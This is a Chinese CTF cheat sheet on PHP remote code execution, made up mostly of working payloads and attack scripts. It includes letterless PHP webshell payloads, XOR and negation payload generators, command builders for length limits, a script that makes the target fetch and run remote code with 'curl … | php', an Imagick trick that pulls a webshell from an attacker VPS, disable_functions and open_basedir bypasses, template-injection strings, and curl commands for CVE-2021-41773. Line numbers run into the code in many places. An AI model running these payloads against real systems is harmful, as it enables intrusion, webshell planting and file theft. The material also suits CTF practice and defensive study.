//code=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=id
//code=$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);&_POST=system&_=id1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus
def g(payload, buff):
offset = 3 + buff
res = ""
base = 65
for i in range(len(payload)):
if payload[i] == '_' or payload[i] == '/':
continue
_ascii = ord(payload[i])
#init
underline = "$" + ("_" * (i + offset))
undefined = "$" + ("_" * (len(payload) + offset + 15))
var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
res += var;
tmp = ''
if _ascii > base:
for i in range(_ascii-base):
tmp = tmp + f"++{underline};"
res += tmp
first = "$" + ("_" * offset)
for i in range(1, len(payload)):
if payload[i] == '_':
res += f"{first}.='_';"
continue
if payload[i] == '/':
res += f"{first}.='/';"
continue
final_var = "$" + ("_" * (i + offset))
res += f"{first}.={final_var};"
return [res, "$" + "_" * (offset)]
pre = "'');"
after = '//'
buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)
buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)
buff = 0
strtolower = g('STRTOLOWER', buff)
final = ''
#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '$___' # STRTOLOWER
#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '$_____________' #SHOW_SOURCE
#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '$________________________' #/FLAG
#声明好abc变量
padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
final += padding
# 4.变量d = a(c) 则变量d为/flag
d = "$______________________________________________($________________________________________________);"
padding = '$_________________________________________________='+d
final += padding
#5. b(d) 即为SHOW_SOURCE('/flag')
final += '$_______________________________________________($_________________________________________________);'
final = pre + final
final = final + after
print(final.replace('+', '%2b'))1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34#关键字构造
#$_GET[0]($_GET[1]);
need = 'GET'
alpha = list(set(need))
alpha.sort()
print(alpha)
greece = 'α β γ δ ε ζ ν ξ ο π ρ σ η θ ι κ λ μ τ υ φ χ ψ ω Γ Δ'.split(' ')
out = '$_=C;'
cnt = ord('C')
for k in alpha:
if ord(k)-ord('C') in range(26):
now_php = ''
for i in range(ord(k)-cnt):
now_php += '$_++;'
cnt += 1
icon = greece[ord(k)-ord('C')]
now_php += f'${icon}=$_;'
out += now_php
func = []
for k in need:
if ord(k)-ord('C') in range(26):
icon = greece[ord(k)-ord('C')]
func += [f'${icon}']
else:
func += [k]
func = '.'.join(func)
print(func)
payload = f'{out}?><?=(${{_.{func}}}[0])(${{_.{func}}}[1]);'
print(payload)文件上传+执行
参考:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是
/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。执行
. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:*
可以代替0个及以上任意字符?
可以代表1个任意字符那么,
/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。但是,在执行第一个匹配上的文件的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
glob通配符支持用
[^x]
的方法来构造“这个位置不是字符x”。可以利用[@-[]
来表示大写字母。当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。POST上传文件数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>在上传文件
1.php
内容添加sh命令:1
2
ls上传抓包,构造poc执行命令:
?c=./???/????????[@-[]
通配符(仅无字母)
base64:
/???/????64 ????.???
bzip2:
/???/???/????2 ????.???
[~(异或)][!%FF]
形式1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)eval函数下
字符串拼接
a=(s.y.s.t.e.m)('cat /flag');
进制编码
a=hex2bin('73797374656d')('cat /flag');
异或
a=('0000000'^'CICDU]')('cat /flag');
a=('404008008400'^'9598))08*980'^'~|~|||(*~~*)');
套娃
a=eval($_POST[1]);&1=phpinfo();
纯数字构造(Linux系统级)
1
2
3
4
5
6
7
8
9
10
11
12
13$((${_}))
#0
$((~$((${_}))))
#-1
$((~$(($((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))))))
#36
#去+号也可
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
#36
#去+号也可
参考:
无参数/带参数RCE
无参函数
phpinfo()
phpversion()
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) -> .
chr(ord(hebrevc(crypt(phpversion())))) -> .
localeconv()
返回一包含本地数字及货币格式信息的数组,而数组第一项就是
.
。time()
返回当前Unix时间戳。
localtime()
取得本地时间。
getcwd()
返回当前工作目录。
dirname()
返回路径中的目录部分。
getenv()
获取一个环境变量的值(在7.1之后可以不给予参数)。
getallheaders()
获取全部HTTP请求头信息。(Apache)
apache_request_headers()
获取全部 HTTP 请求头信息,包含当前请求所有头信息的数组,失败返回 FALSE。(Apache)
get_defined_vars()
返回由所有已定义变量所组成的数组。(Nginx)
get_defined_functions()
返回由所有已定义函数所组成的数组。
session_start()
启动新会话或者重用现有会话,告诉PHP使用session。(PHP默认是不主动使用session的,配合
session_id()
)realpath_cache_get()
获得真实路径缓存的详情。
get_class()
获取当前调用方法的类名。
get_called_class()
获取静态绑定后的类名。
ini_get_all()
以数组的形式返回整个php的环境变量(配置信息)。
__HALT_COMPILER()
中断编译器的执行。(中断php的执行,不会检查后面的语句)
套用函数(有参)
array_map()
返回用户自定义函数作用后的数组。
array_map('system',['ls']);
scandir()
列出指定路径中的文件和目录。
scandir('.')
glob()
返回匹配指定模式的文件名或目录。
print_r(glob("*"));
print_r(glob("./*")[2]);
current()
返回数组中的当前单元,默认取第一个值。
current(localeconv()) → .
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
pos()
返回数组中的当前元素的值,
current()
函数的别名。next() / prev() / reset() / end()
将数组的内部指针向前移动一位 / 倒回一位 / 指向第一个单元 / 指向最后一个单元。
end(getallheaders()) + REQUEST-HEADER-last xx:yy = yy
(配合自定义请求头绕过关键字)assert() / eval()
命令执行。
assert(phpinfo(););
assert(assert($_POST[c]));
chdir()
改变目录。
file_get_contents()
highlight_file() / show_source()
readfile() / readgzfile()
echo()
print_r()
var_dump()
dirname()
返回路径中的目录部分。
chr()
从指定的 ASCII 值返回字符。
array_pop()
弹出并返回数组最后一个元素的值,并将数组的长度减一。
array_reverse()
以相反的元素顺序返回数组。
array_rand()
返回数组中的随机键名,或者如果规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()
用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice()
在数组中根据条件取出一段值,并返回。
hex2bin()
转换十六进制字符串为二进制字符串。
session_id()
获取到当前的session id。
session_id(session_start())
create_function()
创建一个匿名函数(lambda样式)。代码注入。
hex2bin()
把十六进制值转换为 ASCII 字符。
hex2bin('73797374656D') -> system
参考
https://www.cnblogs.com/wangtanzhi/p/12311239.html
列目录
SPL目录类:
DirectoryIterator
1
2
3
4
5
6
7
//可用于猜解文件名
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().'<br>');
}SPL目录类:
FilesystemIterator
1
2
3
echo new FilesystemIterator(getcwd());SPL目录类:
GlobIterator
可通配例如
/var/html/www/flag*
scandir()
面向过程方法:opendir(),readdir(),closedir()
面向对象方法:PHP的
dir
类
读文件
特殊文件:
/proc/self/cmdline - 应用运行的文件夹
/proc/self/environ(/proc/1/environ) - 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示。重要的属性,比如WEB服务的权限
/proc/self/cwd - 当前目录
/proc/[PID]/fd/[NUM] - 是个目录,包含当前进程打开的每一个文件的文件描述符,这些文件描述符是指向实际文件的一个符号链接
/proc/self/maps + /proc/self/mem
文件读取部分如可以seek读取,第一步通过
/proc/self/maps
读取堆栈分布,再读取/proc/self/mem
的内存数据,再通过正则筛选符合格式的数据。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import requests, re
url = ""
maps_url = f"{url}?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
for m in maps:
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
read_url = f"{url}?file=/proc/self/mem&offset={Offset}&length={Length}"
s = requests.get(read_url).content
rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
if rt:
print(rt)
file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file())
fopen() / fread() / fgets() / fgetc() / fgetss() / fgetcsv()
1
2
3
4
5
6$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}include() / require()
适用非php文件
SPL文件类:
SplFileObject
按行读取,多行需要遍历。适配伪协议,如
php://filter
。Mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$conn = new mysqli("localhost", "root", "root");
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$sql = "SELECT LOAD_FILE('/flag.txt') as my";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo $row["my"];
}
} else {
echo "0 结果";
}
$conn->close();
写文件
file_put_contents()
SplFileObject::fwrite()
1
2
3
4
5
6
7
8
9
10
11
12
13
14define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
// 由于禁止了$,从已有的地方获取$符
define("D",(GETCONT)('/var/www/html/index.php')[353]);
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo (GETCONT)('./shell.php');
class splf extends SplFileObject {
public function __destruct() {
parent::fwrite(SHELL);
}
}
define("PHARA", new splf('shell.php','w'));
FTP
Python开启FTP服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)
server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()PHP下载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18$local_file = '/tmp/hack1.so';
$server_file = 'hack.so';
$ftp_server = 'xxxxx';
$ftp_port=21;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
// 注意要开启被动模式
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
读类信息
- ReflectionClass::export()
new+原生类
eval("echo new $a($b);");
1
2?a=Exception&b=system('whoami')
?a=SplFileObject&b=system('whoami')echo new $a($b);
1
2
3
4
5
6列目录
?a=DirectoryIterator&b=glob://f*
读文件
?a=SplFileObject&b=1.php
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=1.phpnew $a($b);
参考:Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
1
2?a=Imagick&b=http://121.40.253.177:7777
nc -lvnp 7777按照文中的POC,在VPS中生成一个图片,含有一句话木马:
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv e.png
在VPS中监听12345端口,再往服务器发送请求包如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25POST /?b=Imagick&c=vid:msl:/tmp/php*
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348
------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
<image>
<read filename="http://vps:12345/positive.png" />
<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--发送后,靶机就往VPS中请求了该文件,并且把该文件下载到了指定目录,访问后即可RCE。
这种手法的限制:
- 需要通网,当然如果不通网这种手法也存在一个重命名文件的功能,如果网站有上传功能可以利用这个手法将恶意的JPG重命名成PHP;
- 需要知道网站的目录(比赛中通常是/var/www/html或者/app这类);
- 需要在网站目录下有写权限,当然如果知道类似于upload这种文件夹的路径也可以(因为通常它们是可写的;
- 最最重要的:需要有装Imagick扩展,该扩展其实不是默认自带的(一定程度上限制了攻击面)。
$class = new $a($b);
/(new $a($b))->$c();
1
2
3
4$class=new Exception("test string");
echo $class‐>__toString();
echo new Error('system')->getMessage();(new $a($b))->$c($d);
1
(new ReflectionFunction('system'))->invoke('ls');
bypass disable_function
LD_PRELOAD
Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件 /etc/ld.so.preload
,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和 /etc/ld.so.preload
配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
利用 error_log
与 mail
函数劫持 getuid
函数,系统通过环境变量(env)中的LD_PRELOAD加载动态链接库。
1 | // hack.c |
函数替代:mail() -> mb_send_mail()
参考
UAF
php7-gc-bypass,php7-backtrace-bypass,php-json-bypass
法1:修改pwn()
传入的cmd
,上传php至可写目录,include包含执行。
法2:无需上传,将代码放入eval
函数执行。
参考题
buuoj-GKCTF2020-CheckIn
FFI
使用条件:PHP版本>=7.4
1 | $ffi = FFI::cdef("int system(const char *command);"); |
1 | //直接调用php源码中的函数,php_exec的type为3时对应的是passthru,直接将结果原始输出 |
1 | //使用c里的popen,然后从管道中读取结果 |
bypass open_basedir
1 | mkdir('/tmp/test');chdir('/tmp/test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));@eval($_POST[a]); echo 1; |
长度限制
7字符
1
2
3
4
5
6#写入语句
eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20hp
1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 01
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
5字符
思路1
拼接字符串写入一句话,同7字符。
思路2
1
eval($_GET[1]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46dir
f\>
ht-
sl
*>v
rev
*v>0
a
hp
p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f1
2
3
4
5
6
7
8
9
10
11
12
13#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
4字符
思路1
传入
>cat
,在目标目录下写入cat文件;再使用通配符进行执行
>* /*
,读取根目录下的flag文件。思路2
字符拼接
1
2
3
4
5
6
7
8dir
f\>
ht-
sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
rev
*v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0 (sh执行0里面的内容)思路3
反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
target = 'http://52.197.41.31/'
# 存放待下载文件的公网主机的IP
shell_ip = 'xx.xx.xx.xx'
# 本机IP
your_ip = r.get('http://ipv4.icanhazip.com/').text.strip()
# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in shell_ip.split('.')])
reset = target + '?reset'
cmd = target + '?cmd='
sandbox = target + 'sandbox/' +
hashlib.md5('orange' + your_ip).hexdigest() + '/'
# payload某些位置的可选字符
pos0 = random.choice('efgh')
pos1 = random.choice('hkpq')
pos2 = 'g' # 随意选择字符
payload = [
'>dir',
# 创建名为 dir 的文件
'>%s>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件
'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s
'>sl',
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl
'*>v',
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
'>rev',
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
# 续行分割 curl 0x11223344|php 并逆序写入
'>p',
'>ph\',
'>|\',
'>%s\' % ip[8:10],
'>%s\' % ip[6:8],
'>%s\' % ip[4:6],
'>%s\' % ip[2:4],
'>%s\' % ip[0:2],
'> \',
'>rl\',
'>cu\',
'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]
s = r.get(reset)
for i in payload:
assert len(i) <= 4
s = r.get(cmd + i)
print '[%d]' % s.status_code, s.url
sleep(0.1)
s = r.get(sandbox + 'fun.php?cmd=uname -a')
print '[%d]' % s.status_code, s.url
print s.text
模板引擎
对于PHP的模板引擎,很有可能是smarty或者twig。
根据流程图测试:
smarty
1 | X-Forwarded-For: {{system("ls")}} (有回显) |
twig
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
反混淆
https://www.zhaoyuanma.com/phpjm.html
https://yoursunny.com/p/PHP-decode/
中间件漏洞
Apache
Apache 2.4.49
CVE-2021-41773
目录穿越漏洞。可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl -v --data "echo;命令" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
其他
opcache
opencache是一种php7自带的缓存引擎,它将编译过一遍的的php脚本以字节码文件的形式缓存在特定目录中(在php.ini中指定)。这样节省了每次访问同一脚本都要加载和解析的时间开销。(先检查有没有bin文件有就直接用)